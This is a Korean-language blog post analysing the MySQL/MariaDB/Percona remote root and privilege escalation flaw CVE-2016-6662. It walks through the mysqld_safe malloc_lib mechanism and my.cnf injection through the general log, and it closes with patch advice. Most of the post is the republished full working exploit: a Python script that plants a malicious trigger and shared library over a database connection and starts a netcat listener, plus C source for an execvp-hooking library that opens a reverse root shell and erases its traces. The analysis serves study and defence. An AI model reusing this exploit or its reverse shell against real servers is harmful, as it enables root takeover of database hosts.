[EXPLOIT] MySQL(MariaDB/PerconaDB) Remote Code Execution and Privilege Escalation(CVE-2016-6662)

모두 즐거운 연휴 되셨나요? 뭔가 정신없이 보낸 것 같네요. 대략 한달만에 포스팅을 하는 것 같네요. 사실 포스팅 거리 몇개 작성해놓은게 있는데.. 일이 많다보니 하나하나 쌓여있기만 합니다.

hxxp://cfile28.uf.tistory.com/image/27013946521C4AD341F4C8

추석 연휴 시작에 맞춰 9/12에 DB 관련 취약점이 Edb에 올라왔습니다. 사실 당일날 보긴했었지만.. 포스팅 올릴 아니.. 손가락 움직일 힘조차 없어 미뤄뒀다가 이제서야 작성하게 되었네요. 이 취약점 덕분에 바쁜 연휴에도 보안담당자 및 SE 분들이 고생이 많으셨을 것 같네요..

오늘은 CVE-2016-6662로 올라온 MySQL/MariaDB/PerconDB에서 영향력이 존재하는 이 취약점에 대해 살펴볼까 합니다.

(사실 legalhackers 쪽 글을 보시는게 훨씬 이해가 쉬울거라 생각됩니다..) http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html

Information

legalhackers의 dawid가 지난주 공개한 취약점입니다. 당연히 CVE를 달고 나왔고, 영향력 또한 크리티컬로 잡혀서 세상에 공개되었습니다.

취약 버전(Vulnerable Version) - MYSQL <= 5.7.14(RCE,PE)

  • MYSQL <= 5.6.32
  • MYSQL <= 5.5.51
  • MYSQL Clone 버전(MariaDB, PerconaDB)

영향력

  • Remote code execution
  • Privilege Escalation
  • SQL Injection

Vulnerability Analysis Part1 - weak “mysqld_safe” script

이 취약점은 mysql의 설정 파일인 my.cnf의 Owner와 Permission으로 인해 발생합니다.


/var/lib/mysql/my.cnf

이 취약점에 대해 알아가기 전에 03년도에 발표도니 MySQL 취약점 하나에 대해 먼저 알아보고 보시면 좋을 것 같습니다.

예전에 발생했던 취약점은 my.cnf 파일, 즉 설정파일을 만들 수 있는 취약점이 있었습니다. 아래와 같이 간단한 SQL 구문으로 말이죠. (Injection만 들어가도..오..)


SELECT * INFO OUTFILE '/var/lib/mysql/my.cnf'

아주 오래전 취약점이니 당연히 수정이 되었습니다. 그런데 이 오래된 취약점을 왜 여기서 언급하는가 하면.. 2016-6662 취약점은 이전에 my.cnf 관련 취약점을 우회할 수 있게 하여 악의적인 설정을 주입하고 원격 실행에서부터 권한상승까지 이루어지게 하는 취약점이며 오래된 취약점 또한 2016-6662를 이해하는데 있어 도움이 되기 때문에 약간의 설명을 넣어봤습니다.

다시 본론으로 와서 2016-6662에 대해 알아보도록 하죠. 이 취약점은 MySQL default package에 포함된 “mysqld_safe” 스크립트에서 발생합니다.

mysql 서버가 있다면 pstree 명령으로 mysqld_safe의 존재를 확인할 수 있습니다.

#> pstree ..snip.. ├─lircd ├─mysqld_safe───mysqld───21*[{mysqld}] ├─polkitd─┬─{gdbus} ..snip..

쭉 보다보시면 위와 같이 mysqld_safe로 부터 mysqld(서비스 데몬)이 동작하는 것을 알 수 있습니다. 그럼 이 스크립트는 무슨 권한으로 동작하는지 봐볼까요?

#> ps -aux root 1033 0.0 0.0 4472 1656 ? Ss 21:29 0:00 /bin/sh /usr/bin/mysqld_safe mysql 1412 0.0 1.6 794528 131836 ? Sl 21:29 0:03 /usr/sbin/mysqld –basedir=/

오호! mysqld는 mysql 권한으로 실행되지만 mysqld_safe는 root 권한으로 실행되는 군요.

그럼 mysqld_safe가 어떤 역할을 하는지 대충 알 수 있겠죠. 아래 코드는 mysqld_safe의 코드 일부입니다.


..snip..

# set_malloc_lib LIB
# - If LIB is empty, do nothing and return
# - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib
#   then pkglibdir.  tcmalloc is part of the Google perftools project.
# - If LIB is an absolute path, assume it is a malloc shared library
#
# Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when
# running mysqld.  See ld.so for details.
set_malloc_lib() {
  malloc_lib="$1"

  if [ "$malloc_lib" = tcmalloc ]; then
    pkglibdir=`get_mysql_config --variable=pkglibdir`
    malloc_lib=
    # This list is kept intentionally simple.  Simply set --malloc-lib
    # to a full path if another location is desired.
    for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do
      for flavor in _minimal '' _and_profiler _debug; do
        tmp="$libdir/libtcmalloc$flavor.so"
        #log_notice "DEBUG: Checking for malloc lib '$tmp'"
        [ -r "$tmp" ] || continue
        malloc_lib="$tmp"
        break 2
      done
    done

..snip..

해당 스크립트는 malloc를 통해서 지정한 lib 파일을 불러오는 기능을 수행합니다. mysqld가 구동되기 전에 말이죠. 만약 my.cnf를 수정할 수 있다면 malloc_lib의 값의 흐름을 바꿔 악의적인 lib를 불러 root의 권한으로 실행시킬 수 있겠네요 :)

Vulnerability Analysis Part2 - inject “my.cnf”

2번째 핵심 구간입니다. 위에서 언급한 my.cnf를 어떻게 수정해야하는가에 대한 답변이 되겠네요. my.cnf는 잘못된 설정을 가지고 있습니다. 서버에서 MySQL을 실행하기 위해선 각종 설정파일이 MySQL 사용자 즉 mysql이 소유하고 있어야 한다고 나온 문서가 많은데요. 설정 파일에 대한 권한이 소유주는 600(rw-) 즉 read/write가 가능하기 때문에 소유주의 권한으로만 실행된다면 충분히 수정이 가능한 권한이 됩니다.

공격자는 아래와 같은 형태로 sql 쿼리를 넣어서 설정 파일을 바꿀 수 있겠지요.


SELECT 'malicious config entry' INTO OUTFILE '/var/lib/mysql/my.cnf'

이 쿼리가 들어가게 되면 my.cnf는 아래와 같이 우리가 유도한 설정 내용이 삽입되어 mysql이 로드되도록 됩니다.

#> cat /var/lib/mysql/my.cnf


[mysqld]

key_buffer              = 16M
max_allowed_packet      = 16M

/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306  Unix socket: /var/run/mysqld/mysqld.sock
Time                 Id Command    Argument
160728 17:25:14   40 Queryselect '

; injected config entry  // malicious config entry 에 있는 내용이 들어갑니다.

[mysqld]
malloc_lib=/tmp/mysql_exploit_lib.so

[separator]

'
160728 17:25:15   40 Queryset global general_log = off

이제 모든 실마리가 풀렸습니다. SQL Injection이나 탈취한 mysql 계정을 이용해서 root로 업그레이드 하거나 설정 파일을 조작하여 원격에서 명령을 실행할 수 있는 상태가 되었네요.

Vulnerability Analysis Part3 - Bypass MySQL Security(world-writable / section header check)

그러나..! 실제로 해보시면 안될겁니다. 왜냐하면 mysql은 설정 파일을 로드하는 과정 중 몇가지 보호 정책이 있기 때문입니다.

  1. world-writable 권한이 걸려있는 설정 파일 로드 차단
  2. 잘못된 섹션 헤더를 가지고 있을 시 로드 차단

world-writable 부분은 OUTFILE 대신 로깅 기능을 이용하면 world-writable 권한없이(o-w비트 없이) my.cnf 생성이 가능합니다.

mysql> set global general_log_file = ‘/var/lib/mysql/my.cnf’; mysql> set global general_log = on; mysql> select ‘ ‘> ‘> ; injected config entry ‘> ‘> [mysqld] ‘> malloc_lib=/tmp/mysql_exploit_lib.so ‘> ‘> [separator] ‘> ‘> ‘; 1 row in set (0.00 sec) mysql> set global general_log = off;

#> cat /var/lib/mysql/my.cnf


[mysqld]

key_buffer              = 16M
max_allowed_packet      = 16M

/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306  Unix socket: /var/run/mysqld/mysqld.sock
Time                 Id Command    Argument
160728 17:25:14   40 Queryselect '

; injected config entry

[mysqld]
malloc_lib=/tmp/mysql_exploit_lib.so

[separator]

'
160728 17:25:15   40 Queryset global general_log = off

자 권한은 패스했습니다. 그러나 내용에 보면 설정 파일로 원치 않는 내용이 들어가게 됩니다. 그래서 mysql 데몬 실행 시 에러를 뱉게 됩니다.

error: Found option without preceding group in config file: /var/lib/mysql/my.cnf at line: 1 Fatal error in defaults handling. Program aborted

2번째 방법에 대한 해결 방법은 취약점은 발표하신 분께서 아직 공개하지 않으셨습니다. 아무래도 위험성이 높아 그런 것 같네요. (연구해보시면 찾을 수 있을거에요. 화이팅)

이로써 어떤 이유, 흐름으로 취약점이 동작하는지 살펴보았습니다. author가 공개한 공격코드로 마무리 짓도록 하겠습니다.

[ 0ldSQL_MySQL_RCE_exploit.py ] Exploit Code(POC)


#!/usr/bin/python

# This is a limited version of the PoC exploit. It only allows appending to
# existing mysql config files with weak permissions. See V) 1) section of 
# the advisory for details on this vector. 
#
# Full PoC will be released at a later date, and will show how attackers could
# exploit the vulnerability on default installations of MySQL on systems with no
# writable my.cnf config files available.
#
# The upcoming advisory CVE-2016-6663 will also make the exploitation trivial
# for certain low-privileged attackers that do not have FILE privilege.
# 
# See full advisory for details:
# http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt
#
# Stay tuned ;)

intro = """
0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit

For testing purposes only. Do no harm.

Discovered/Coded by:

Dawid Golunski
http://legalhackers.com

"""

import argparse
import mysql.connector    
import binascii
import subprocess

def info(str):
    print "[+] " + str + "\n"

def errmsg(str):
    print "[!] " + str + "\n"

def shutdown(code):
    if (code==0):
        info("Exiting (code: %d)\n" % code)
    else:
        errmsg("Exiting (code: %d)\n" % code)
    exit(code)

cmd = "rm -f /var/lib/mysql/pocdb/poctable.TRG ; rm -f /var/lib/mysql/mysql_hookandroot_lib.so"
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(result, error) = process.communicate()
rc = process.wait() 

# where will the library to be preloaded reside? /tmp might get emptied on reboot
# /var/lib/mysql is safer option (and mysql can definitely write in there ;)
malloc_lib_path='/var/lib/mysql/mysql_hookandroot_lib.so'

# Main Meat

print intro

# Parse input args
parser = argparse.ArgumentParser(prog='0ldSQL_MySQL_RCE_exploit.py', description='PoC for MySQL Remote Root Code Execution / Privesc CVE-2016-6662')
parser.add_argument('-dbuser', dest='TARGET_USER', required=True, help='MySQL username') 
parser.add_argument('-dbpass', dest='TARGET_PASS', required=True, help='MySQL password')
parser.add_argument('-dbname', dest='TARGET_DB',   required=True, help='Remote MySQL database name')
parser.add_argument('-dbhost', dest='TARGET_HOST', required=True, help='Remote MySQL host')
parser.add_argument('-mycnf', dest='TARGET_MYCNF', required=True, help='Remote my.cnf owned by mysql user')

args = parser.parse_args()

# Connect to database. Provide a user with CREATE TABLE, SELECT and FILE permissions
# CREATE requirement could be bypassed (malicious trigger could be attached to existing tables)
info("Connecting to target server %s and target mysql account '%s@%s' using DB '%s'" % (args.TARGET_HOST, args.TARGET_USER, args.TARGET_HOST, args.TARGET_DB))
try:
    dbconn = mysql.connector.connect(user=args.TARGET_USER, password=args.TARGET_PASS, database=args.TARGET_DB, host=args.TARGET_HOST)
except mysql.connector.Error as err:
    errmsg("Failed to connect to the target: {}".format(err))
    shutdown(1)

try:
    cursor = dbconn.cursor()
    cursor.execute("SHOW GRANTS")
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(2)

privs = cursor.fetchall()
info("The account in use has the following grants/perms: " )
for priv in privs:
    print priv[0]
print ""

# Compile mysql_hookandroot_lib.so shared library that will eventually hook to the mysqld 
# process execution and run our code (Remote Root Shell)
# Remember to match the architecture of the target (not your machine!) otherwise the library
# will not load properly on the target.
info("Compiling mysql_hookandroot_lib.so")
cmd = "gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl"
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(result, error) = process.communicate()
rc = process.wait() 
if rc != 0:
    errmsg("Failed to compile mysql_hookandroot_lib.so: %s" % cmd)
    print error 
    shutdown(2)

# Load mysql_hookandroot_lib.so library and encode it into HEX
info("Converting mysql_hookandroot_lib.so into HEX")
hookandrootlib_path = './mysql_hookandroot_lib.so'
with open(hookandrootlib_path, 'rb') as f:
    content = f.read()
    hookandrootlib_hex = binascii.hexlify(content)

# Trigger payload that will elevate user privileges and sucessfully execute SET GLOBAL GENERAL_LOG 
# Decoded payload (paths may differ):
"""
DELIMITER //
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT
   ON `poctable` FOR EACH ROW
BEGIN

   DECLARE void varchar(550);
   set global general_log_file='/var/lib/mysql/my.cnf';
   set global general_log = on;
   select "

# 0ldSQL_MySQL_RCE_exploit got here :)

[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'

[abyss]
" INTO void;   
   set global general_log = off;

END; //
DELIMITER ;
"""
trigger_payload="""TYPE=TRIGGERS
triggers='CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf\\nAFTER INSERT\\n   ON `poctable` FOR EACH ROW\\nBEGIN\\n\\n   DECLARE void varchar(550);\\n   set global general_log_file=\\'%s\\';\\n   set global general_log = on;\\n   select "\\n\\n# 0ldSQL_MySQL_RCE_exploit got here :)\\n\\n[mysqld]\\nmalloc_lib=\\'%s\\'\\n\\n[abyss]\\n" INTO void;   \\n   set global general_log = off;\\n\\nEND'
sql_modes=0
definers='root@localhost'
client_cs_names='utf8'
connection_cl_names='utf8_general_ci'
db_cl_names='latin1_swedish_ci'
""" % (args.TARGET_MYCNF, malloc_lib_path)

# Convert trigger into HEX to pass it to unhex() SQL function
trigger_payload_hex = "".join("{:02x}".format(ord(c)) for c in trigger_payload)

# Save trigger into a trigger file
TRG_path="/var/lib/mysql/%s/poctable.TRG" % args.TARGET_DB
info("Saving trigger payload into %s" % (TRG_path))
try:
    cursor = dbconn.cursor()
    cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (trigger_payload_hex, TRG_path) )
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(4)

# Save library into a trigger file
info("Dumping shared library into %s file on the target" % malloc_lib_path)
try:
    cursor = dbconn.cursor()
    cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (hookandrootlib_hex, malloc_lib_path) )
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(5)

# Creating table poctable so that /var/lib/mysql/pocdb/poctable.TRG trigger gets loaded by the server
info("Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded")
try:
    cursor = dbconn.cursor()
    cursor.execute("CREATE TABLE `poctable` (line varchar(600)) ENGINE='MyISAM'"  )
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(6)

# Finally, execute the trigger's payload by inserting anything into `poctable`. 
# The payload will write to the mysql config file at this point.
info("Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config %s" % args.TARGET_MYCNF )
try:
    cursor = dbconn.cursor()
    cursor.execute("INSERT INTO `poctable` VALUES('execute the trigger!');" )
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(6)

# Check on the config that was just created
info("Showing the contents of %s config to verify that our setting (malloc_lib) got injected" % args.TARGET_MYCNF )
try:
    cursor = dbconn.cursor()
    cursor.execute("SELECT load_file('%s')" % args.TARGET_MYCNF)
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(2)
finally:
    dbconn.close()  # Close DB connection
print ""
myconfig = cursor.fetchall()
print myconfig[0][0]
info("Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)")

# Spawn a Shell listener using netcat on 6033 (inverted 3306 mysql port so easy to remember ;)
info("Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)" )
listener = subprocess.Popen(args=["/bin/nc", "-lvp","6033"])
listener.communicate()
print ""

# Show config again after all the action is done
info("Shell closed. Hope you had fun. ")

# Mission complete, but just for now... Stay tuned :)
info("""Stay tuned for the CVE-2016-6663 advisory and/or a complete PoC that can craft a new valid my.cnf (i.e no writable my.cnf required) ;)""")

# Shutdown
shutdown(0)

[ mysql_hookandroot_lib.c ] payload code


/*

(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit
mysql_hookandroot_lib.c

This is the shared library injected by 0ldSQL_MySQL_RCE_exploit.py exploit.
The library is meant to be loaded by mysqld_safe on mysqld daemon startup
to create a reverse shell that connects back to the attacker's host on
6603 port (mysql port in reverse ;) and provides a root shell on the
target.

mysqld_safe will load this library through the following setting:

[mysqld]
malloc_lib=mysql_hookandroot_lib.so

in one of the my.cnf config files (e.g. /etc/my.cnf).

This shared library will hook the execvp() function which is called
during the startup of mysqld process.
It will then fork a reverse shell and clean up the poisoned my.cnf
file in order to let mysqld run as normal so that:
'service mysql restart' will work without a problem.

Before compiling adjust IP / PORT and config path.

~~
Discovered/Coded by:

Dawid Golunski
http://legalhackers.com

~~
Compilation (remember to choose settings compatible with the remote OS/arch):

gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl

Disclaimer:

For testing purposes only. Do no harm.

Full advisory URL:
http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt

*/

#define _GNU_SOURCE
#include <stdio.h>
#include <sys types.h>
#include <sys stat.h>
#include <unistd.h>
#include <string.h>
#include <dlfcn.h>
#include <stdlib.h>
#include <stdarg.h>
#include <fcntl.h>
#include <sys socket.h>
#include <netinet in.h>
#include <arpa inet.h>

#define ATTACKERS_IP "127.0.0.1"
#define SHELL_PORT 6033
#define INJECTED_CONF "/var/lib/mysql/my.cnf"

char* env_list[] = { "HOME=/root", NULL };
typedef ssize_t (*execvp_func_t)(const char *__file, char *const __argv[]);
static execvp_func_t old_execvp = NULL;

// fork & send a bash shell to the attacker before starting mysqld
void reverse_shell(void) {

    int i; int sockfd;
    //socklen_t socklen;
    struct sockaddr_in srv_addr;
    srv_addr.sin_family = AF_INET;
    srv_addr.sin_port = htons( SHELL_PORT ); // connect-back port
    srv_addr.sin_addr.s_addr = inet_addr(ATTACKERS_IP); // connect-back ip

    // create new TCP socket && connect
    sockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );
    connect(sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr));

    for(i = 0; i <= 2; i++) dup2(sockfd, i);
    execle( "/bin/bash", "/bin/bash", "-i", NULL, env_list );

    exit(0);
}

/*
 cleanup injected data from the target config before it is read by mysqld
 in order to ensure clean startup of the service

 The injection (if done via logging) will start with a line like this:

 /usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:

*/

int config_cleanup() {

    FILE *conf;
    char buffer[2000];
    long cut_offset=0;

    conf = fopen(INJECTED_CONF, "r+");
    if (!conf) return 1;

    while (!feof(conf)) {
       fgets(buffer, sizeof(buffer), conf);
       if (strstr(buffer,"/usr/sbin/mysqld, Version")) {
  cut_offset = (ftell(conf) - strlen(buffer));
       }

    }
    if (cut_offset>0) ftruncate(fileno(conf), cut_offset);
    fclose(conf);
    return 0;

}

// execvp() hook
int execvp(const char* filename, char* const argv[]) {

    pid_t  pid;
    int fd;

    // Simple root PoC (touch /root/root_via_mysql)
    fd = open("/root/root_via_mysql", O_CREAT);
    close(fd);

    old_execvp = dlsym(RTLD_NEXT, "execvp");

    // Fork a reverse shell and execute the original execvp() function
    pid = fork();
    if (pid == 0)
          reverse_shell();

    // clean injected payload before mysqld is started
    config_cleanup();
    return old_execvp(filename, argv);
}

임시 대응방안

7/29일자로 오라클에 보고되어 패치 우선순위로 진행되고 8/30일 PerconaDB, MariaDB가 패치되었습니다. 해당 DB 사용자는 업데이트로 예방이 가능하며, 업데이터가 어렵거나 패치가 없을 시 임시 방편으로 my.cnf가 수정될 수 없도록 소유자를 일반 사용자가 되지 않도록 관리하고 root 권한으로 설정 파일을 생성하여 Injection으로 부터 파일이 수정/생성 되는 것을 막아야 합니다.

Reference

http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html https://www.exploit-db.com/exploits/40360/